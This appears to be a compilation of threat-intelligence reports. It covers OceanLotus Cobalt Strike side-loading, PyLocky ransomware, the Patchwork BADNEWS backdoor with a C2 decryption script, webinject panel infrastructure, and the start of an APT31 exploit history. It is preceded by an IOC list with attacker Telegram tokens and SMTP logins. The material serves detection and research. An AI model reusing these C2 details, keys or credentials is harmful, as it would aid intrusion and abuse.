- 0x95d3763546235393B77aC188E5B08dD4Af68d89D
- 0xcfE71c720b7E99e555c0e98b725919B7a69f8Bb0
**Monero:**
- 46W5WHQG2B1Df9uKrkyuhoLNVtJouMfPR9wMkhrzRiEtD2PmdcXMvQt52jQVWKXUC45hwYRXhBYVjLRbpDu8CK2UN2xzenr
- 43Q4G9CdM3iNbkwhujAQJ7TedSLxYQ8hJJHYqsqns7qz696gkPgMvUvDcDfZJ7bMzcaQeoSF86eFE2fL9njU59dQRfPHFnv
**Litecoin:**
- LfADbqTZoQhCPBr39mqQpf9myUiUiFrDBG
- LY5jmjdFnvgFjJET2wX5fVV6Gv89QdQRv3
### Telegram Tokens
- 1901905375:AAFoPAvBxaWxmDiYbdJWH-OdsUuObDY0pjs
- 1989667182:AAFx2Rti45m06IscLpGbHo8v4659Q8swfkQ
### SMTP
- [email protected] (smtp.1and1.com)
- [email protected] (mail.starkgulf.com)
- [email protected] (mail.bojtai.club)
- [email protected] (smtp.ionos.es)
- [email protected]
- [email protected] (shepherd.myhostcpl.com)
- [email protected] (mail.farm-finn.com)
### .NET Loader SHA-256
- ae29f49fa80c1a4fb2876668aa38c8262dd213fa09bf56ee6c4caa5d52033ca1
- 35d443578b1eb0708d334d3e1250f68550a5db4d630f1813fed8e2fc58a2c6d0
- 097d0d1119fb73b1beb9738d7e82e1c73ab9c89a4d9b8aeed35976c76d4bad23
- c783bdf31d6ee3782d05fde9e87f70e9f3a9b39bf1684504770ce02f29d5b7e1
- 42fe72df91aa852b257cc3227329eb5bf4fce5dabff34cd0093f1298e3b5454e
- 1c29ee414b011a411db774015a98a8970bf90c3475f91f7547a16a8946cd5a81
- 81bbcc887017cc47015421c38703c9c261e986c3fdcd7fef5ca4c01bcf997007
- 6956ea59b4a70d68cd05e6e740598e76e1205b3e300f65c5eba324bebb31d7e8
- 6322ebb240ba18119193412e0ed7b325af171ec9ad48f61ce532cc120418c8d5
- 9f2bfedb157a610b8e0b481697bb28123a5eabd2df64b814007298dffd5e65ac
- e2dd1be91c6db4b52eab38b5409b39421613df0999176807d0a995c846465b38 |
# OceanLotus Continues With Its Cyber Espionage Operations
November 17, 2020
OceanLotus APT group, also known as APT3, Cobalt Kitty, APT-C-00, SeaLotus, Ocean Buffalo, POND LOACH, and TIN WOODLAWN, has been active since at least 2014. This threat actor extensively uses the watering-hole attack for compromising social engineering websites to deliver malware payloads. It carries out cyber espionage activities that target organizations of interest to the Vietnamese Government. Recently, the OceanLotus APT group has focused on Southeast Asian countries like the Philippines, Laos, and Cambodia.
The compromised websites have functionalities like profiling users, redirecting to exploit landing pages, and are being leveraged to serve malware payloads for Windows and OSX. As per open source intelligence, it was observed that the OceanLotus APT group has leveraged multiple fake news websites to target users.
In this post, we will shed light on one of the latest campaigns of the threat actor with suspected ties to the Vietnamese Government. Cyble discovered that the OceanLotus APT group used an RAR archive named “Adobe_Flash_Install.rar” to pretend to be an Adobe installation, followed by the silent execution of a malware payload.
Further research revealed that the threat actor group has used cloud storage like Google Drive to host malware payload files. The malware payload file is hosted on the Dropbox link “hxxps://www.dropbox[.]com/s/puhwqhjcvn2xuum/Adobe_Flash_Install[.]rar?dl=1”.
## Technical Analysis
As discussed above, the RAR file contains Adobe_Flash_Install.exe and goopdate.dll. The file named “Adobe_Flash_Install.exe” is a legitimate Google update utility used in the side-loading of the malicious dynamic link library named “goopdate.dll” from the attacker. The version information of the file provides more insight about the Installer.
Upon execution, the installer side-loads and executes the attacker DLL through the search order hijacking method. The process explorer figure clearly shows the DLL loaded by a legitimate Google Update utility.
The attacker DLL is heavily packed using a custom packer as seen in the Hex view of Entry point bytes and data section. The obfuscated attacker DLL is responsible for loading and executing the Cobalt Strike stager into memory, followed by its execution. This DLL contains several configuration strings encoded with a simple XOR encryption, including C2 URL, browser information, and cookie details.
At the time of our analysis, we observed that the Cobalt Strike stager tries to download and execute shellcode from a remote server that has links to the URL “summerevent.webhop[.]net/f2JZ”. The debugger image shows the hardcoded C2 domain that is decoded during runtime.
The payload file has interesting functionalities like capturing victim system information. The network capture depicts multiple connection requests to the attacker C2 server (summerevent.webhop[.]net).
## Conclusion
The OceanLotus APT group, a threat actor with suspected ties to the Vietnamese Government, continuously evolves with enriched Tactics, Techniques, and Procedures (TTPs) as it seeks to target outside of standard spear phishing and leveraging of compromised websites. The threat actor has now created its own fake website to deliver payloads, which is a clear indication of its inclination towards organized cyberattacks.
The Cyble Research team is continuously monitoring to harvest the threat indicators/TTPs of emerging APTs in the wild to ensure that targeted organizations are well informed and proactively protected.
## Indicators of Compromise (IOCs)
**File hashes (SHA-256):**
- 230ac0808fde525306d6e55d389849f67fc328968c433a5053d676d688032e6f - Adobe_Flash_Install.rar
- 7fd58fa4c9f24114c08b3265d30be5aa8f6519ebd2310cc6956eda6c6e6f56f0 - Flash_Adobe_Install.exe (legit Google’s Update utility)
- 69061e33acb7587d773d05000390f9101f71dfd6eed7973b551594eaf3f04193 - goopdate.dll (BackDoor.Meterpreter)
- cbca9a92a6aa067ff4cab8f1d34ec49ffc9a06c90881f48da369c973182ce06d - Backdoor:Win32/CobaltStrike
**URLs:**
- summerevent.webhop[.]net/f2JZ
## About Cyble
Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in the dark web. Cyble’s prime focus is to provide organizations with real-time visibility into their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best Cybersecurity Startups To Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a global presence. To learn more about Cyble, visit www.cyble.io. |
# .lockymap Files Virus (PyLocky Ransomware) – Remove and Restore Data
This article explains what the .lockymap PyLocky ransomware virus is and how you can remove it from Windows, as well as how to restore files encrypted by it on your PC.
A new ransomware virus, known as PyLocky ransomware, has been detected to actively infect and encrypt files on infected computers. The .lockymap variant of PyLocky ransomware adds a ransom note that instructs victims on how to pay a hefty ransom to recover their files. If your computer has been infected by the PyLocky ransomware virus, we recommend reading this article to help you remove this ransomware and restore your files.
## Threat Summary
- **Name:** .lockymap Ransomware
- **Type:** Ransomware, Cryptovirus
- **Short Description:** Files are encrypted, and the virus leaves a ransom note extorting victims to pay ransom to get their files to work again.
- **Symptoms:** The files on your computer have the .lockymap extension added to them and cannot be opened.
- **Distribution:** Spam Emails, Email Attachments, Executable files
## PyLocky .lockymap Ransomware – Distribution
The .lockymap files virus may be embedded as an attachment in a spam email sent by cyber-criminals or via a spam bot. This email may use deceptive tactics to convince you to open the attachment. Besides email, the PyLocky ransomware virus may also use other infection methods, such as uploading the infection file to compromised WordPress sites that pretend to offer various programs for free download, including:
- Software installers
- Portable versions of programs
- Cracks
- Patches
- License activation software
- Keygens
## PyLocky .lockymap Ransomware – Analysis
Once the .lockymap ransomware virus has infected your computer, it may start to download and run its payload. The payload of PyLocky ransomware consists of several files, the main of which has the following information:
- **Name:** facture_4739149_08.26.2018.exe
- **SHA256:** 8655f8599b0892d55efc13fea404b520858d01812251b1d25dcf0afb4684dce9
- **Size:** 5.3 MB
In addition to the main infection file, other files may also be dropped on the victim’s computer, likely located in the following directories:
- %Temp%
- %AppData%
- %Local%
- %LocalLow%
- %Roaming%
Among the files dropped is the ransom note file, called LOCKY-README.txt, which contains the following message:
```
Please be advised:
All your files, pictures, documents, and data have been encrypted with Military Grade Encryption RSA ABS-256.
Your information is not lost, but encrypted.
In order for you to restore your files, you have to purchase the Decrypter.
Follow these steps to restore your files.
1. Download the Tor Browser. (Just type in Google “Download Tor”)
2. Browse to URL: https://4wcgqlckaazungm.onion/index.php
3. Purchase the Decryptor to restore your files.
It is very simple. If you don’t believe that we can restore your files, then you can restore 1 file of image format for free.
Be aware the time is ticking. Price will be doubled every 96 hours, so use it wisely.
Your unique ID:
CAUTION:
Please do not try to modify or delete any encrypted file as it will be hard to restore it.
SUPPORT:
You can contact support to help decrypt your files for you.
Click on support at https://4wcgqlckaazungm.onion/index.php
```
The PyLocky ransomware may also modify the Windows Registry Editor, primarily the Run and RunOnce registry sub-keys, creating values with the location of the malicious .exe file. This may result in the malicious files running automatically when you log into Windows.
## .lockymap PyLocky Virus – Encryption Process
The .lockymap variant of PyLocky virus may scan for the following types of files on your PC after infection:
```
PNG, PSD, PSPIMAGE, TGA, THM, TIF, TIFF, YUV, AI, EPS, PS, SVG, INDD, PCT, PDF, XLR, XLS, XLSX, ACCDB, DB, DBF, MDB, PDB, SQL, APK, APP, BAT, CGI, COM, EXE, GADGET, JAR, PIF, WSF, DEM, GAM, NES, ROM, SAV, CAD Files, DWG, DXF, GIS Files, GPX, KML, KMZ, ASP, ASPX, CER, CFM, CSR, CSS, HTM, HTML, JS, JSP, PHP, RSS, XHTML, DOC, DOCX, LOG, MSG, ODT, PAGES, RTF, TEX, TXT, WPD, WPS, CSV, DAT, GED, KEY, KEYCHAIN, PPS, PPT, PPTX, INI, PRF, Encoded Files, HQX, MIM, UUE, 7Z, CBR, DEB, GZ, PKG, RAR, RPM, SITX, TAR.GZ, ZIP, ZIPX, BIN, CUE, DMG, ISO, MDF, TOAST, VCD, SDF, TAR, TAX2014, TAX2015, VCF, XML, Audio Files, AIF, IFF, M3U, M4A, MID, MP3, MPA, WAV, WMA, Video Files, 3G2, 3GP, ASF, AVI, FLV, M4V, MOV, MP4, MPG, RM, SRT, SWF, VOB, WMV, 3D, 3DM, 3DS, MAX, OBJ, BMP, DDS, GIF, JPG, CRX, PLUGIN, FNT, FON, OTF, TTF, CAB, CPL, CUR, DESKTHEMEPACK, DLL, DMP, DRV, ICNS, ICO, LNK, SYS, CFG
```
After this, the ransomware may encrypt the files, setting two different file extensions – .lockedfile and .lockymap.
## Remove PyLocky Ransomware and Restore .lockymap Files
To remove this ransomware virus, follow the removal instructions below. They have been created to allow manual and automatic removal methods. If the manual removal steps do not help or you cannot fully remove PyLocky by yourself, it is strongly recommended to download an advanced anti-malware program for removal. Such software will effectively remove PyLocky from your computer and protect it from future threats.
If you wish to restore .lockedfile and .lockymap files encrypted by PyLocky ransomware, try the alternative methods for file recovery. They may not be 100% effective but may help recover a portion of the files.
## .lockymap Ransomware FAQ
### What is .lockymap Ransomware and how does it work?
.lockymap Ransomware is a ransomware infection that enters your computer silently and blocks access to the computer or encrypts your files. The goal is to demand a ransom payment to regain access to your files.
### How does .lockymap Ransomware infect my computer?
It infects computers via phishing emails containing virus attachments, which are usually disguised as important documents. After downloading and executing the attachment, your computer is infected.
### How to open .lockymap Ransomware files?
You can't open them as they are encrypted. You can only access them once they are decrypted.
### What to do if the decryptor did not decrypt my data?
Do not panic. Backup the files. If a decryptor did not work, the decryption keys may not be available yet.
### How do I get rid of .lockymap Ransomware?
The safest way to remove this ransomware is to use professional anti-malware software, which will scan for and remove the ransomware without causing additional harm.
### What to do if nothing works?
If none of the methods work, try to find a safe computer to log into your online accounts, contact friends or relatives for copies of important files, or check if any files can be re-downloaded from the web.
### How to report ransomware to authorities?
You can report it to local police departments. This can help authorities track the perpetrators behind the virus.
For more tips, you can find additional information on forums where you can ask questions about your ransomware problem. |
# Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent
**By Brandon Levene, Josh Grunzweig, and Brittany Barbehenn**
**March 7, 2018**
## Summary
In the past few months, Unit 42 has observed the Patchwork group, alternatively known as Dropping Elephant and Monsoon, conducting campaigns against targets located in the Indian subcontinent. Patchwork threat actors utilized a pair of EPS exploits rolled into legitimate, albeit malicious, documents in order to propagate their updated BADNEWS payload. The use of weaponized legitimate documents is a longstanding operational standard of this group.
The malicious documents seen in recent activity refer to a number of topics, including recent military promotions within the Pakistan Army, information related to the Pakistan Atomic Energy Commission, as well as Pakistan’s Ministry of the Interior.
The BADNEWS malware payload, which these malicious documents ultimately deliver, has been updated since the last public report in December 2017. BADNEWS acts as a backdoor for the attackers, providing them with full control over the victim machine. It has historically leveraged legitimate third-party websites to host the malware’s command and control (C2) information, acting as “dead drops.” After the C2 information has been collected, BADNEWS leverages HTTP for communication with the remote servers.
We’ve observed modifications to how the malware obtains its C2 server information, as well as modifications to the C2 communication. These changes to BADNEWS, as well as the use of recent EPS-based exploits, demonstrate that the group is actively updating their toolsets in efforts to stay ahead of the security community. In this posting, we detail our findings and document these changes.
## Delivery
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities. These vulnerabilities are well covered in previous public works, which can be found from PWC and FireEye. Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability; however, in late January 2018, newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability. The lures are primarily documents of interest to Pakistani nuclear organizations and the Pakistani military.
The payload from each of the malicious documents is an updated version of the BADNEWS malware family. When the shellcode embedded within the malicious EPS is executed, the following three files are dropped:
- `%PROGRAMDATA%\Microsoft\DeviceSync\VMwareCplLauncher.exe`
- `%PROGRAMDATA%\Microsoft\DeviceSync\vmtools.dll`
- `%PROGRAMDATA%\Microsoft\DeviceSync\MSBuild.exe`
In the list of dropped files, `VMwareCplLauncher.exe` is a legitimate, signed VMware executable that serves to ultimately deliver the BADNEWS payload. The `vmtools.dll` file is a modified DLL that both ensures persistence and loads `MSBuild.exe`, which is the BADNEWS malware renamed to spoof a legitimate Microsoft Visual Studio tool.
After the files are dropped, the `VMwareCplLauncher.exe` executable is run, which in turn loads the `vmtools.dll` DLL file. This DLL file creates a scheduled task named `BaiduUpdateTask1`, which attempts to run the malicious, spoofed `MSBuild.exe` every subsequent minute. The technique of having a signed, legitimate executable load a malicious library is commonly referred to as side-loading, and has been witnessed in a number of campaigns and malware families in the past.
The flow of execution from the time the victim opens the malicious Microsoft Word document to the execution of BADNEWS may be seen below:

The following image demonstrates the scheduled task created by the modified `vmtools.dll` to ensure BADNEWS runs and remains running on the victim machine.
## BADNEWS
Much of BADNEWS has remained consistent from when it was originally discussed by Forcepoint in August 2016. Additionally, recent analysis by Trend Micro notes some minor changes during 2017. To briefly recap, the BADNEWS malware family acts as a backdoor, with communication occurring over HTTP. A number of commands are provided to the attackers, including the ability to download and execute additional information, upload documents of interest, and take screenshots of the desktop.
The malware collects C2 information when it is originally executed via “Dead Drop Resolvers.” Dead drop resolvers have been used by multiple threat actor groups using various malware families, and those behind Patchwork are well versed with this tactic. This tactic uses public web services to host content that contains encoded commands that are decoded by the malware.
For the remainder of the analysis in this research blog, we are discussing the following file:
- **SHA256**: 290ac98de80154705794e96d0c6d657c948b7dff7abf25ea817585e4c923adb2
- **MD5**: 79ad2084b057847ce2ec2e48fda64073
- **Compile Date**: 2017-12-22 11:54:03 UTC
One of the first modifications we witnessed in this new variant of BADNEWS is a new mutex that is created to ensure a single instance of BADNEWS is running at a given moment. This malware family used the new mutex `com_mycompany_apps_appname_new`.
This variant of BADNEWS uses different filenames compared to previous versions. The following filenames are used by BADNEWS throughout its execution. All of these files reside in the victim’s `%TEMP%` directory:
| Filename | Description |
|---------------|-------------------------------------------|
| 9PT568.dat | Contains victim unique identifier |
| TPX498.dat | Keystroke logs |
| edg499.dat | List of interesting files |
| TPX499.dat | Temporarily holds screenshot when given command by C2 |
| up | Temporarily contains downloaded file to be executed when given command by C2 |
Other changes we noticed in this variant include how the malware obfuscates C2 information stored via dead drop resolvers. Previous variants of BADNEWS looked for data between `{{` and `}}`, and used a simple cipher to decode this data. This new variant now looks for data between `[[` and `]]` in a number of hardcoded URLs.
In order to decrypt this data, the authors have included additional steps from previous versions. To decode this information, BADNEWS takes the following steps:
1. Base64-decode the string
2. Perform the decoding cipher used in previous versions
3. Base64-decode the result
4. Decrypt the result using the Blowfish algorithm and a static key
A script, which is included in the Appendix, will decrypt data from these dead drop resolvers. In the example shown above, we are presented with a result of `185.203.118[.]115` after all four steps are taken.
BADNEWS performs many of the expected functions associated with previous versions including keylogging and identifying files of interest. Unlike a previously reported variant, this version of BADNEWS no longer looks at USB drives for interesting files. Instead, it looks at fixed drives only. It continues to seek out files with the following extensions:
- .xls
- .xlsx
- .doc
- .docx
- .ppt
- .pptx
- .pdf
In order to prepare for C2 communication, BADNEWS will aggregate various victim information, which is appended to two strings. These strings have the following format:
```
uuid=[Victim ID]#un=[Username]#cn=[Hostname]#on=[OS Version]#lan=[IP Address]#nop=#ver=1.0
```
An example of the first string may be seen below:
```
uuid=e29ac6c0-7037-11de-816d-806e6f6e696351c5#un=Josh Grunzweig#cn=WIN-LJLV2NKIOKP#on=mav6miv1#lan=192.168.217.141#nop=#ver=1.0
```
It should be noted that the variables used for this string are different from previous versions. For example, in the previous variant of BADNEWS, the victim’s unique identifier was stored under a variable named `uid`, the username was stored in a variable named `u`, etc. Additionally, the hardcoded version string of `1.0` is different from previous samples.
C2 communication is also updated from prior versions, with the following commands now supported by BADNEWS:
| Command | Description |
|---------|-------------|
| 0 | Kill BADNEWS. |
| 4 | Upload `edg499.dat`, which includes the list of interesting files. Spawn a new instance of BADNEWS after. |
| 5 | Upload the file specified by the C2. |
| 8 | Upload the `TPX498.dat` file, which contains the list of collected keystrokes. |
| 13 | Copy file to `adbFle.tmp`, and upload it to the C2. |
| 23 | Take screenshot, temporarily store it as `TPX499.dat`, and upload it to the C2. |
| 33 | Download specified file to `%TEMP%\up` and execute it in a new process. |
During C2 communications, BADNEWS will communicate to the C2 previously identified via HTTP. The following hardcoded URI is used for normal communication with the C2:
```
//e3e7e71a0b28b5e96cc492e636722f73//4sVKAOvu3D//ABDYot0NxyG.php
```
In the event data is uploaded to the attacker, the following hardcoded URI is used:
```
\e3e7e71a0b28b5e96cc492e636722f73\4sVKAOvu3D\UYEfgEpXAOE.php
```
When initial pings are sent to the remote server, BADNEWS includes one of the two previously created strings containing the victim’s information.
To decrypt the data provided in the POST request, a number of steps are required. First, the attackers include a series of extra `=` and `&` characters within the data stream. Once these are removed, the data is decoded with base64. Finally, the result is decrypted using AES-128 and the following static key (hex-encoded):
```
DD1876848203D9E10ABCEEC07282FF37
```
## Conclusion
The Patchwork group continues to plague victims located within the Indian subcontinent. Through the use of relatively new exploits, as well as a constantly evolving malware toolset, they aim to compromise prominent organizations and individuals to further their goals. Recent activity has shown a number of lures related to the Pakistan Army, the Pakistan Atomic Energy Commission, as well as the Ministry of the Interior.
One of the malware families tied to this group, BADNEWS, continues to be updated both in how it uses dead drop resolvers, as well as how it communicates with a remote C2 server. Palo Alto Networks customers are protected against this threat in a number of ways:
- Traps blocks the exploit documents witnessed during this campaign.
- WildFire accurately identifies the samples mentioned in this blog as malicious.
- The Patchwork and BADNEWS tags in AutoFocus may be used for continued monitoring and tracking of this threat.
Additionally, the providers being used for dead drops have been notified.
## Indicators of Compromise
### Malicious Word Document SHA256 Hashes
- a67220bcf289af6a99a9760c05d197d09502c2119f62762f78523aa7cbc96ef1
- 07d5509988b1aa6f8d5203bc4b75e6d7be6acf5055831cc961a51d3e921f96bd
- fd8394b2ff9cd00380dc2b5a870e15183f1dc3bd82ca6ee58f055b44074c7fd4
- b8abf94017b159f8c1f0746dca24b4eeaf7e27d2ffa83ca053a87deb7560a571
- d486ed118a425d902044fb7a84267e92b49169c24051ee9de41327ee5e6ac7c2
### BADNEWS SHA256 Hashes
- ab4f86a3144642346a3a40e500ace71badc06a962758522ca13801b40e9e7f4a
- 290ac98de80154705794e96d0c6d657c948b7dff7abf25ea817585e4c923adb2
### C2 Servers
- 185.203.118[.]115
- 94.156.35[.]204
### Dead Drop Resolvers
- hxxp://feed43[.]com/8166706728852850.xml
- hxxp://feed43[.]com/3210021137734622.xml
- hxxp://www.webrss[.]com/createfeed.php?feedid=49966
- hxxp://feeds.rapidfeeds[.]com/88604/
### Script to Decrypt Dead Drop Resolvers
```python
import requests
import base64
import binascii
import re
from Crypto.Cipher import Blowfish
from struct import pack
rol = lambda val, r_bits, max_bits: (val << r_bits % max_bits) & (2 ** max_bits - 1) | ((val & (2 ** max_bits - 1)) >> (max_bits - (r_bits % max_bits)))
ror = lambda val, r_bits, max_bits: ((val & (2 ** max_bits - 1)) >> r_bits % max_bits) | (val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1))
def unhexData(d):
if len(d) % 2:
d = d.zfill(len(d) + 1)
return ord(binascii.unhexlify(d))
def decodeDecrypt(data):
decdata = ''
for x in range(len(data)):
x = x * 2
if x < len(data):
c = unhexData(data[x])
add_num = unhexData(data[x + 1])
c = c << 4
c = (c + add_num) & 0xff
c ^= 0x23
c = rol(c, 3, 8)
decdata += chr(c)
data2 = base64.b64decode(decdata)
key = binascii.unhexlify("F0E1D2C3B4A5968778695A4B3C2D1E0F0011223344556677")
cipher = Blowfish.new(key, Blowfish.MODE_ECB)
dec = cipher.decrypt(data2)
return dec
urls = [
"http://feeds.rapidfeeds.com/88604"
]
for d in urls:
r = requests.get(d)
body = r.text
r = re.search("\[+\s*([a-zA-Z0-9\=]+)\]+", body)
if r:
data = base64.b64decode(r.group(0))
print("[{}] Decrypted C2: {}".format(d, decodeDecrypt(data).split("\x00")[0]))
``` |
# Webinject Panel Administration: A Vantage Point into Multiple Threat Actor Campaigns
The contents of this blog were shared with Team Cymru’s community partners in the first half of 2021 and were subsequently presented by our analysts at RISE Las Vegas (September 2021).
Much has been written about the role of webinjects in the evolution of banking trojans, facilitating the interception and manipulation of victim connections to the customer portals of a burgeoning list of targets which now includes e-commerce, retail, and telecommunications brands.
Previous community research has also highlighted the emergence of third-party webinject panel “providers” within the underground economy. For example, the moniker Yummba has long been associated with the creation/maintenance of webinject panels favored by many of the most ubiquitous banking trojan families, including IcedID, QakBot, and ZLoader.
In this blog, we will explain how we were able to track webinject infrastructure used by multiple threat actors over a period of more than six months. Using the concept of ‘Threat Reconnaissance’ to stay ahead of new campaigns, we were able to identify panels as they were set up and therefore limit their impact on potential victims.
During investigations into IcedID (see our previous blog Tracking BokBot (a.k.a. IcedID) Infrastructure for further insights) in late 2020, a webinject panel used by the threat actors was identified hosted on agentsjs[.]com. A domain which at the time, based on Passive DNS information, resolved to 193.34.166[.]57 (assigned to SNEL, NL).
Whilst examining traffic to 193.34.166[.]57, UDP connections with 95.213.129[.]178 (assigned to SELECTEL, RU) were identified using symmetrical source/destination ports – consistently UDP/23985. Pivoting to look at traffic associated with 95.213.129[.]178, further connections involving UDP/23985 were identified with fifteen other IP addresses within the 193.34.166.0/23 netblock. This activity was most recently observed on 9th January 2021.
95.213.129[.]178 was also observed connecting to the above referenced IP addresses on TCP/22 and TCP/443 – activity likely related to the setup and management of the panels. Passive DNS information was used to enrich these IP addresses, as summarized in Table 1.
| IP Address | Domain |
|---------------------|------------------------------|
| 193.34.166[.]17 | knockdout[.]com |
| 193.34.166[.]172 | batchjs[.]com |
| 193.34.166[.]210 | toughjs[.]com |
| 193.34.166[.]241 | queryfrm[.]com |
| 193.34.166[.]243 | minifyscss[.]com |
| 193.34.166[.]246 | authdetect[.]com |
| 193.34.166[.]36 | entryquery[.]com |
| 193.34.166[.]87 | navsjs[.]com |
| 193.34.167[.]109 | wellsoffice[.]net |
| 193.34.167[.]116 | acceptjs[.]com |
| 193.34.167[.]198 | authfw[.]com |
| 193.34.167[.]209 | intellix[.]site |
| 193.34.167[.]227 | cdnreact[.]com |
| 193.34.167[.]248 | huntinqton[.]net |
| 193.34.167[.]94 | onedrive-registration[.]com |
*Table 1: IP addresses in communication with 95.213.129[.]178*
Through our botnet analysis efforts, we were able to link several of the domains contained in Table 1 to webinject panels attributable to specific threat actor groups: Dridex, IcedID, and QakBot. Our initial assessment of these findings was that 95.213.129[.]178 was being used as some form of management channel for these panels and given the attributions to multiple distinct campaigns, likely associated with a third-party webinject vendor. However, from 10 January 2021 onwards, we did not observe any further communications of note involving this IP address.
We continued to monitor traffic associated with the 193.34.166.0/23 netblock, looking for similar UDP connections to known/unknown panels. Commencing on 18 January 2021, we noticed connections involving 31.131.249[.]98 (also assigned to SELECTEL, RU) with a handful of ‘new’ IP addresses. These connections similarly used symmetrical ports – in this case consistently UDP/23743. Between 18 January and 24 May 2021, we identified ten additional panels based on connections with 31.131.249[.]98. Of note was the apparent re-use of 193.34.167[.]248 (see Table 1) which had hosted huntinqton[.]net in November 2020 and then reappeared in March 2021 hosting outresult[.]com.
As was the case with 95.213.129[.]178, 31.131.249[.]98 was also further observed connecting to the above referenced IP addresses on TCP/22 and TCP/443. As previously, passive DNS information was used to enrich these IP addresses (Table 2).
| IP Address | Domain |
|---------------------|------------------------------|
| 193.34.166[.]159 | widgetcdn[.]com |
| 193.34.166[.]223 | tagscdn[.]com |
| 193.34.166[.]27 | typescdn[.]com |
| 193.34.166[.]98 | fetchjs[.]com |
| 193.34.167[.]145 | bacassets[.]com |
| 193.34.167[.]200 | servjs[.]com |
| 193.34.167[.]203 | toughjs[.]com |
| 193.34.167[.]24 | procjs[.]com |
| 193.34.167[.]248 | outresult[.]com |
| 193.34.167[.]52 | authframework[.]com |
*Table 2: IP addresses in communication with 31.131.249[.]98*
We were able to link several of the domains contained in Table 2 to webinject panels associated with IcedID and QakBot campaigns.
Given the apparent concentration of webinject panels hosted within the 193.34.166.0/23 netblock, as well as some apparent commonalities in domain naming convention:
- Frequent references to ‘cdn’ or ‘js’
- References to terms associated with content and website delivery, e.g., ‘auth’, ‘fetch’, ‘query’, and ‘tags’
- Some targeting of specific financial entities, e.g., ‘huntinqton’ and ‘wellsoffice’
We decided to review passive DNS data for the entire netblock. From a total of over 1,000 domains, a further 17 were highlighted as likely relevant to this analysis (Table 3).
| IP Address | Domain |
|---------------------|------------------------------|
| 193.34.166[.]12 | backedjs[.]com |
| 193.34.166[.]217 | minifycdn[.]com |
| 193.34.166[.]230 | querymask[.]com |
| 193.34.166[.]35 | elementquery[.]com |
| 193.34.166[.]42 | jqrequire[.]com |
| 193.34.166[.]55 | jquerylibs[.]com |
| 193.34.166[.]8 | purejscdn[.]com |
| 193.34.167[.]120 | interqu[.]com |
| 193.34.167[.]134 | requiredjs[.]com |
| 193.34.167[.]229 | projectsjs[.]com |
| 193.34.167[.]237 | jqueryslib[.]com |
| 193.34.167[.]25 | statecdn[.]com |
| 193.34.167[.]35 | requirejscdn[.]com |
| 193.34.167[.]41 | jscdn[.]cyou |
| 193.34.167[.]65 | widgetcdn[.]com |
| 193.34.167[.]72 | sublimejs[.]com |
| 193.34.167[.]89 | zefjs[.]com |
*Table 3: Webinject panels hosted in 193.34.166.0/23*
As previously, we were able to link several of the domains contained in Table 3 to webinject panels associated with Dridex, IcedID, and QakBot campaigns; additionally, one of the domains was linked to ZLoader.
## Conclusion
By identifying the upstream IP addresses described above and subsequently monitoring traffic, we were able to observe threat actor infrastructure being set up in the days and hours before it was used to target victims. This allowed us to work with our community partners to limit the impact on potential victims.
The concept of ‘Threat Reconnaissance’ that we seek to promote using our Pure Signal™ Recon platform is the idea of proactively tracking threat actors so that Threat Intelligence becomes more than just a reactionary function. By focusing on the webinjects element of the banking trojan attack model, we were able to apply this idea to multiple threat actor groups within the same reporting strand.
We hope that this research adds to the collective understanding of webinject panels, in particular how they are managed and distributed within the underground economy. |
# The Story of Jian – How APT31 Stole and Used an Unknown Equation Group 0-Day
**Research by:** Eyal Itkin and Itay Cohen
**Date:** February 22, 2021
There is a theory which states that if anyone manages to steal and use nation-grade cyber tools, any network would become untrusted, and the world would become a very dangerous place to live in. There is another theory which states that this has already happened.
What would you say if we told you that a foreign group managed to steal an American nuclear submarine? That would definitely be a bad thing and would quickly reach every headline. However, for cyber weapons – although their impact could be just as devastating – it’s usually a different story.
Cyber weapons are digital and volatile by nature. Stealing them and transferring them from one continent to another can be as simple as sending an email. They are also very obscure, and their mere existence is a closely guarded secret. That is exactly why, as opposed to a nuclear submarine, stealing a cyber-weapon can easily go under the radar and become a fact known only to a selected few.
The implications of such a scenario can be devastating, as the world has already experienced with the case of the Shadow Brokers leak, in which a mysterious group decided to publicly publish a wide range of cyber weapons allegedly developed by the Tailored Access Operations (TAO) unit of the NSA – also referred to as the ‘Equation Group’. The Shadow Brokers leak led to some of the biggest cyber outbreaks in history – the most famous of which was the WannaCry attack causing hundreds of millions of dollars in damages to organizations across the globe – and whose implications are still relevant even three years after it happened.
The Shadow Brokers leak, however, just gave us a taste of some of the possible implications such a cyber-theft can cause. Many important questions still remain – could this have also happened before? And if so, who is behind it and what did they use it for?
Our recent research aims to shed more light on this topic and reveal conclusive evidence that such a leak did actually take place years before the Shadow Brokers leak, resulting in US-developed cyber tools reaching the hands of a Chinese group which repurposed them in order to attack US targets.
## Key Findings
- The caught-in-the-wild exploit of CVE-2017-0005, a 0-Day attributed by Microsoft to the Chinese APT31 (Zirconium), is in fact a replica of an Equation Group exploit code-named “EpMe.”
- APT31 had access to EpMe’s files, both their 32-bit and 64-bit versions, more than two years before the Shadow Brokers leak.
- The exploit was replicated by the APT during 2014 to form “Jian,” and used since at least 2015, until finally caught and patched in March 2017.
- The APT31 exploit was reported to Microsoft by Lockheed Martin’s Computer Incident Response Team, hinting at a possible attack against an American target.
- The framework containing the EpMe exploit is dated to 2013 and contains four Windows Privilege Escalation exploits overall, two of which were 0-Days at the time of the framework’s development.
- One of the 0-Days in the framework, code-named “EpMo,” was never publicly discussed and was patched by Microsoft with no apparent CVE-ID in May 2017. This was seemingly in response to the Shadow Brokers leak.
## Introduction
In the last few months, our malware and vulnerability researchers focused on recent Windows Privilege Escalation exploits attributed to Chinese actors. During this investigation, we managed to unravel the hidden story behind “Jian,” a 0-Day exploit that was previously attributed to APT31 (Zirconium), and show its true origins.
